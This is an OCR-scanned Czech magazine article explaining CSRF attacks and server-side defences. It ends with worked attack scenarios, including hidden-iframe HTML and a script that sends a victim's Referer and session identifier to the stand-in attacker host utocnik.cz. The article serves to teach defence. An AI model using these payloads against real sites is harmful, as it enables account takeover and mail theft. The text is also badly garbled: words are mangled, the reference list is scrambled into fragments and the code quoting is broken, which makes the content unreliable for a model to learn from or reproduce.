¢i zakazal i stahovani obrazkl, pak
by se mohl vyhnout i nékterym uto-
kim pres odkazy na externi zdroje,
ale toto nastaveni je uz ponékud
paranoidni.

Uzivateli mGze byt napomocen i
paranoidné nastaveny firewall, kte-
ry se dotaze na povoleni kazdého
vysilaného pozadavku. Nedokazi
si vSak uzivatele, ktery by mél po-
dobné nastaveny firewall pfedstavit.
Dale byste neméli klikat na vSechny
odkazy, na které pfi browsovani
narazite. Vzdy byste méli zvazovat,
zda vas odkaz nemU(ze zavést na
nebezpecné stranky, pfipravené
uto¢nikem. BohuzZel v zhledem k
XSS chybam, které se ve webovych
aplikacich ¢asto nachazi, je nutné
pocitat s utokem i na jinak celkem
davéryhodnych mistech. Déle byste
se méli vyhnout automatickym pfi-
hlaSovanim a radéji se vzdy logovat
ke svym u¢tdm manualné.

V neposledni fadé bych se pak
vyhnul sluzbam pro jednotné pfi-
hlaSovani, které mohou utoénikovi
otevfit dvefe ke spousté systémd,
kde mlze pod Vasi identitou vy-
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stupovat. Vzhledem k tomu, Ze jako
uzivatel mate k obrané k dispozici
pouze omezené moznosti, je hlavné
na tvlircich webovych aplikaci, aby
se postarali o znemoznéni CSRF
utokd na strané serveru. Proto
si dale povime, jaké k tomu maji
vyvojafi prostfedky a jaké metody
mohou pro zabranéni CSRF utoku
pouzit.

Obrana na

strané serveru

Jednou z chyb, ktera se €asto vysky-
tovala prevazné v minulych letech,
bylo povoleni zmény pfistupového
hesla bez vyzadani hesla puvodniho.
Weboveé aplikace predpokladali, ze s
uc¢tem maze pracovat pouze legitimni
uzivatel, ktery se k serveru prihlasil a
nikdo jiny. Méli samozfejmé pravdu,
nicméné jak jsme si ukazali vySe,
muze byt proti uzivateli veden CSRF
utok, ktery na serveru vystupuje pod
identitou napadené obéti. Pro utocni-
ka proto nebyl problém nalakat svou
obét na odkaz a nasledné ji zménit
pfistupové heslo k uctu. Tim se
uto€nik zcela u¢tu zmocnil a zamezil
pfistup legitimnimu majiteli.

Obrana je pfitom velice trivialni
a vSichni vyvojafi webovych aplikaci
by na ni méli myslet. Pfi zméné hesla
nebo pfi jakékoliv zasadni zméné v
nastaveni Uctu, by mélo byt vyzado-
vano zadani stavajiciho hesla. Jeho
kontrolou muze aplikace ovéfit, zda
se skute¢né jedna o legitimniho uzi-
vatele. Vyvojéfi si toto pravidlo rych-
le vzili a je dnes pouzivano témér ve
vSech webovych aplikacich. Stejné
Casto se vSak zapomina na funkci,
ktera umoznuje zaslani nového hes-
la na e-mailovou adresu v pfipadé
jeho zapomenuti.

Utoénikovi stadi, aby pomoci
CSREF utoku provedl zménu e-mailo-
vé adresy a na ni si pak nechal nové
heslo zaslat. Pro uzivatele je bohuzel
tato varianta obrany ponékud nepfi-
jemna, protoze by museli zadavat
své heslo pfi kazdé provadéné akci.
Navic by se utoCnikovi otevirali dal-
§i cesty k utokim vedoucim k jeho
kradezi. TéZko bychom proto timto
zplsobem mohli ovéfovat kazdou
ginnost uzivatele, kterou muze byt

napriklad vlozZeni pfispévku do dis-
kuze, &i hlasovani v anketé.

Heslo by mélo byt vyzadovano
pouze pfi téch akcich, které vedou
ke zménam v nastaveni UcCtu, jez
mohou mit v pfipadé zneuziti kritic-
ké nasledky. Vyvojafi musi v téchto
pfipadech pouzit jiné zplsoby ové-
feni.

Obrana hlidanim
hlaviéky Referer

Hlavicka referer obsahuje informaci
o strance, z niz navstévnik pfichazi.
Hodnotu této polozky zasila webovy
prohlize¢ vzdy pfi vyzadani obsahu
nové webové stranky, ale také kdyz
zada staZzeni externich dat (obrazkd,
skriptd). Uvedeme si pfiklad, jak by
vypadala hodnota polozky referer pfi
legitimnim pozadavku a pfi utoku po-
moci CSRF. Vratime se zpét k pfikla-
du s webmailem, kde se formulaf pro
presmérovani nachazina strance htip:
//'www.webmail.cz/setforward.html
a pfipraveny formulaf utoCnika
na strance http://www.utocnik.cz/
atackform.html. Skript forward.php by
pak ziskal v polozce referer cela url, z
nichz pozadavek pfichazi. Konkrétné
by to tedy byly tyto hodnoty: htip:
//'www.webmail.cz/setforward.html
nebo http://www.utocnik.cz/
atackform.html. Kontrola hlavicky
referer se tedy zda byt idealnim fe-
Senim a skute¢né by tomu tak bylo,
nebyt jisté skuteCnosti, ktera tuto
moznost ¢asto znemoziiuje.

Hlavicka referer totiz, jak jsme si
jiz Fekli, vznika na strané klienta ve
webovém browseru. Pro uzZivatele
tak predstavuje jisté riziko spojené
se ztratou soukromi, kdyz webovy
prohlize¢ vSude predava informace o
tom, odkud pfichazi. Z tohoto divodu
fada klientd hodnotu referer blokuje
nebo ji méni za jinou. V pfipadé, ze
by skript forward.php kontroloval,
zda pochazi pozadavek skute¢né ze
stranky setforward.html podle hlavi¢-
ky referer, nedoc¢kal by se v pfipadé
takto nastavenych klientd pravdivé
odpovédi a akci by jim nepovolil ani v
pfipadé, kdy by Slo o legitimni poza-
davky. To by se uZivatelim zcela jisté
nelibilo a tak musi vyvojafi sahnout k
ponékud pracnéjSim metodam.
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Obrana pomoci
proménného url

Jednou z pokrocilejSich metod ochra-
ny je pouziti proménného url, do kte-
rého se vklada napfiklad identifikator
session. PFi kazdé navstévé se tak
nachazi formulafna jiné adrese.
Jednou na http://www.webmail.cz/
~~49d4db404cc6c4fb2ff1cf8324
arb9fs/setforward.html podruhé
na http://www.webmail.cz/~~9d72
b235d9bfb0f3a87c0ba2¢c92fdf73/
setforward.html, pfiCemz se stejné
méni i umisténi skriptu forvard.php
Utoénik tak nem(Ze provést Utok
ze sveho formularfe, protoze nezna
adresu skriptu, kterému by sva data
mohl poslat. Tato metoda je celkem
ucinna, ale predpoklada kompletni
zabezpeceni celé aplikace. Ta totiz
nesmi za zadnych okolnosti pro-
poustét informace o url mimo webo-
vou aplikaci a nesmi tak uto€nikovi
umoznit zjistit napfiklad z hodnoty
referer tento proménny identifikator.
Stejné tak pada celé tato obrana pro-
ti CSRF ve chvili, kdy se uto€nikovi
podafi nalézt na serveru chybu v
podobé XSS zranitelnosti.

Pomoci skriptu by mu totiz nedé-
lalo problémy si precist proménnou
hodnotu url a poskladat si celou
adresu, na které se nachazi skript
forward.php. ldentifikator session
si utoCnik v pfipadé zneuziti XSS
muZe zaslat na svUj server, odkud by
odeslal hodnoty ze svého formulafe,
nebo by mohl vygenerovat a odeslat
formulafr pfimo na serveru ve vyge-
nerovaném prvku iframe.

Obrana pomoci
skrytych poli

DalSim z moznych FeSeni problé-
mu s utoky CSRF se muzZe stat
vkladani jednoznaéného nahodné-
ho identifikatoru do skrytého pole
u v8ech formulafd. Tento Fetézec
muze byt shodny s identifikatorem
session, nebo muze byt pfi pFihla-
Seni vygenerovan samostatné jen
pro tento ucel. Pokazdé kdyz do-
jde ze strany uzivatele k odeslani
dat z formulafe bude pfedavana i
hodnota tohoto pole a skript si tak
bude moci ovéfit, zda data skutec-
né pfisla od opravnéného uzivate-
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le. Pokud se na serveru nenachazi
zadné zranitelnosti v podobé XSS,
da se tento systém povazovat za
bezpecny.

Obrana pomoci listk
Metoda ovéfovanim uzivatell po-
moci listkl je metodou pfibuznou
k metodé z predchazejiciho pfFi-
kladu. Zachazi v8ak v bezpecnosti
je$té o néco dale a od vyvojara
vyZaduje daleko vice prace. Sys-
tém zalozeny na listcich generuje
nahodny identifikaCni fetézec pro
kazdou akci, ktera je uzivateli
nabidnuta. Pokud je napfiklad na
strance umisténo nékolik formu-
lara, pak kazdy z nich obsahuje
skryté pole s jinym identifikacnim
fetézcem. Na strané serveru se
pfi zalozeni relace vytvofi ulo-
Zisté téchto listk( a vzdy, kdyz je
uzivateli néjaka akce nabidnuta, je
popis této akce a kontrolni identi-
fikator ulozen do ulozisté. Kdyz
pak uzivatel akci provede, aplikace
nejprve porovna, zda akce odpovi-
da té, pro kterou byl listek vydan a
teprve pokud se ujisti, Zze tomu tak
je, akci provede a listek z ulozisté
odstrani. Stejné jako pfedchozi,
neni ani tato metoda nepristielna,
pokud uto¢nik v aplikaci nalezne
XSS zranitelnost. VyvojaFi by pro-
to méli na bezpecnost webovych
aplikaci pohlizet z SirSi perspekti-
vy a nezaméfovat se vzdy jen na
jeden typ zranitelnosti. Jakmile
uto¢nik nalezne na serveru jednu
chybu, hned mlze vyuzit desitky
dalSich.

Z historie CSRF

Prvni zminka o zranitelnosti, kterou
bychom dnes oznadili za zrani-
telnost CSRF, pochazi jiz z roku
1988, kdy Norm Hardy publikoval
dokument popisujici podobné cho-
vani a nazval jej zmateny zastupce
(confused deputy). V roce 2000 se
pak v mailové konferenci Bugtrag
objevil pfispévek, ktery popisoval,
jak je pomoci této metody zrani-
telné ZOPE. O rok pozdéji byl pak
ve stejné konferenci zvefejnén
pfispévek Petera Watkinse, ktery
v odpovédi na jiny thread nazvany
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The Dangers of Allowing Users to
Post Images poprvé pouzil termin
CSRF.

Ukazkovy scénar 1.

DoS utok

Skutecnosti zjiSténé prlzkumem
weboveé aplikace:

« pro odhlaSeni od webové apli-
kace slouzi odkaz odhlasit,

* pfi odhlaseni je vyslan poza-
davek cer v tomto tvaru http.//
www.example.cz/index.php?ac-
tion=logout,

e uzivatelé jsou ovéfovani na
zakladé identifikatoru session,
ktery je ulozen v cookie,

* registrovani uzivatelé mohou v
nastaveni uvést odkaz na avatar
(obrazek), ktery se bude zobra-
zovat u v8ech jejich pfispévku v
diskuzi.

Pribéh utoku:

» prozkouma architekturu aplika-
ce a zjisti informace uvedené
vyse,

» utoCnik se zaregistruje jako uzi-
vatel na informa&nim portalu,
¢imZ na ném ziska svuj Ucet,

* rozhodne se pro utok vloZzenim
zakefného odkazu do svého
avataru,

* jako odkaz na svUj avatar vlozi
v nastaveni svého uctu: http://
www.example.cz/index.php?ac-
tion=logout,

» do diskuze uto¢nik vlozi jakyko-
liv pfispévek, jehoz zobrazeni
povede k provedeni pozadavku
na stazeni externiho obrazku
(avataru),

» vS8ichni pfihlaseni uzivatelé,
ktefi od této chvile vstoupi do
diskuze, budou automaticky
odhlaseni od aplikace.

Ukazkovy scénar 2.
Zmeéna pfistupového hesla k uctu na
informacnim portalu. Skute€nosti zjis-
téné prizkumem weboveé aplikace:

» formulaF pro nastaveni uctu
v€etné zmény hesla se nachazi
stdle na stejné adrese: http:
//'www.example.com/user.html,

* pfi zméné hesla jsou data z for-
mulafe pfedavana parametrem
newpass metodou rost skriptu
/changepass.php,

* pfi zméné hesla neni vyzadova-
no zadani hesla stavajiciho,

-
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vych zranitelnosti

Zranitelny kod, Sverre H. Huseby — Vyborna kniha pina informaci, tykajicich se webo-
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Seznam.cz,

webmailu Volny.cz,

odkazu,

metodach ceT a POST,

*  http://www.soom.cz/index.php?name=articles/show&aid=450 -
utoku kombinujiciho CSRF a XSS. Tentokrat utok vyuzival zranitelnosti ve

* http://en.wikipedia.org/wiki/Cross-site_request_forgery —
CSRF muzete ziskat také na wikipedii, ze které vede mnozZstvi zajimavych

*  http://www.soom.cz/index.php?name=articles/show&aid=370 — ptiklad zdar-
ného utoku CSRF, ktery byl veden proti znamému poskytovateli webhostingu

ukazka

informace o

*  http://en.wikipedia.org/wiki/Cross-site_scripting — Wikipedia vam také pfi-
blizi zranitelnost XSS, pokud byste se o ni chtéli dozvédét vice,
*  http://en.wikipedia.org/wiki/Referer — informace tykajici se polozky referer,

*  https://addons.mozilla.org/cs/firefox/addon/60 — Web developer — Doplnék
pro FireFox, ktery usnadni zjistovani informaci o formulafich.
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Cross Site Request Forgery

» uzivatelé jsou ovéfovani na za-
kladé identifikatoru session, ktery
je uloZen v cookie,

* do diskuze je mozné vkladat
aktivni odkazy.

Prabéh utoku:

« utoCnik se zaregistruje jako uzi-
vatel na informa&nim portalu,
¢imz na ném ziska sv(j Gcet,

* poté prozkouma jeho architekturu
a zjisti informace uvedené vyse,

* rozhodne se pro utok vlozenim
odkazu do diskuze,

* nasvujweb www.utocnik.cz Utoc-
nik umisti dvé webové stranky.
Prvni s nazvem atack.html, ktera
bude obshovat kod formulare, jak
na Vypisu 8.

Druha stranka pojmenovana welco-
me.html bude obsahovat tento kéd
pro zobrazeni chybového hlaseni:

<p>Omlouvéme se, ale poZadovanad
stranka nebyla
na serveru
nalezena.</p>

<iframe src="atack.html" height="1"
width="1"></

iframe>

* do diskuze v informacnim porta-
lu vloZi odkaz na stranku http://
www.utocnik.cz/ welcome.html,

« vS8em uzivatelm, ktefi budou na-
logovani k informacnimu portalu
a kliknou v diskuzi na uto€nikem
vlozeny odkaz, bude zménéno
jejich pfistupové heslo k uc¢tu na
hodnotu atackernewpass.

Ukazkovy scénar 3

Zména e-mailové adresy pro zaslani
zapomenutého hesla. Skute¢nosti zjis-
téné prizkumem webové aplikace. Pri
zapomenuti hesla, staCi zadat e-mailo-
vou adresu ndlezici k uctu. Na tu je na

pozadani zaslano nové vygenerované
heslo. Formular pro nastaveni uctu
véetné zmeény e-mailové adresy se
nachazi stale na stejné adrese: http:
//'www.example.com/user.html.  Data
jsou z formulafe predavana parame-
trem newemail pomoci metody rpost
skriptu /changeemail.php. Pro zménu
e-mailové adresy staci, aby byl uzivatel
prihlaen ke svému Gétu. Zadné dalsi
ovéfovani neni poZadovano. UZivatelé
jsou ovéerovani na zakladé identifikatoru
session, ktery je ulozen v cookie. Do
diskuze je mozné vkladat aktivni odka-
zy a s vyjimkou tagu <script> i vSechny
tagy v€etné iframe. Pribéh utoku:

» UtoCnik se zaregistruje jako uzivatel
na informa¢nim portalu, ¢imz na
ném ziska sv(j Ucet,

» poté prozkouma jeho architekturu a
zjisti informace uvedené vyse,

* rozhodne se pro utok vloZzenim
skrytého iframe pfimo do svého
pFispévku v diskuzi,

* nasvljweb www.utocnik.cz Gtoénik
umisti webovou stranku s nazvem
atack.html, ktera bude obshovat
kéd s formulafem, jak na Vypisu 9.

do diskuze vlozi pfispévek s timto
obsahem:
Zdravim v diskuzi:

<iframe src="http://www.utocnik.cz/
atack.html™ height="1" width="1“></

iframe>

 od této chvile se automaticky
zméni e-mailova adresa vSem
navstévnikim webu, ktefi pouze
zavitaji na stranku s diskuzi,

» uto€nik pak jen zada jméno uzi-
vatele a pozada o zaslani novée
vygenerovaného hesla.

Ukazkovy scénar 4
PFesmérovani prichozi posty ve web-
mailu. Skutecnosti zjisténé prizkumem
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webové aplikace. Formular pro zadani
nové adresy pro presmérovani doruce-
né posty je dostupny v nastaveni uctu
na adrese: http://www.example.com/
email.html. Data jsou z formulare
pfedavana parametrem newemail
pomoci metody POST skriptu /
changeemail.php. Pro zménu e-mai-
lové adresy staci, aby byl uzivatel
prihlasen ke svému Gétu. Zadné dalsi
ovéfovani neni poZadovano. UZivatelé
jsou ovéfovani na zakladé identifika-
toru session, ktery se predava jako
soucast adresy v url. Adresa skriptu k
pfesmeérovani je vzdy jina, pficemz
vypadat mlze napfiklad takto: http:
//'www.webmail.cz/~~49d4db404cc
6¢4fb2ff1cf8324a7b9f5/forward.php.
Email zaslany ve formatu html se
otevira jako nova stranka s umisté-
nim, ve kterém je misto identifikatoru
session pouzit jiny nahodné zvoleny
identifikacni Fetézec. PFi otevirani
stranky s obsahem e-mailu je pre-
davana i hlavicka referer. Zobrazeni
e-mailové zpravy ve formatu html
umozfuje spousténi skriptd. Pribéh
utoku:

» utoCnik se zaregistruje na web-
mailu, ¢imz na ném ziska svUj
Ucet,

* poté prozkouma jeho architekturu
a zjisti informace uvedené vyse,

* rozhodne se pro utok zaslanim
emailové zpravy se skriptem,
ktery zjisti identifikator session
a tim i adresu umisténi skriptu
forward.php,

» uto€nik vytvofi e-mailovou zpra-
vu a vlozi do ni tento skript:

<script>

Document.write ("<iframe id='ramec'
src="http://www.utocnik.cz/
atack.php?url="+document.referer+"
width="1"' height='1'></iframe>";

</script>

» dale si uto¢nik pfipravi php skript
atack.php a umisti jej na adresu
http://www.utocnik.cz/atack.php.
Php skript ma tento obsah, jak na
Vypisu 10.

* pokud si obét prohlédne zasla-
nou zpravu, dojde k automatické-
mu nastaveni pfesmérovani. ®
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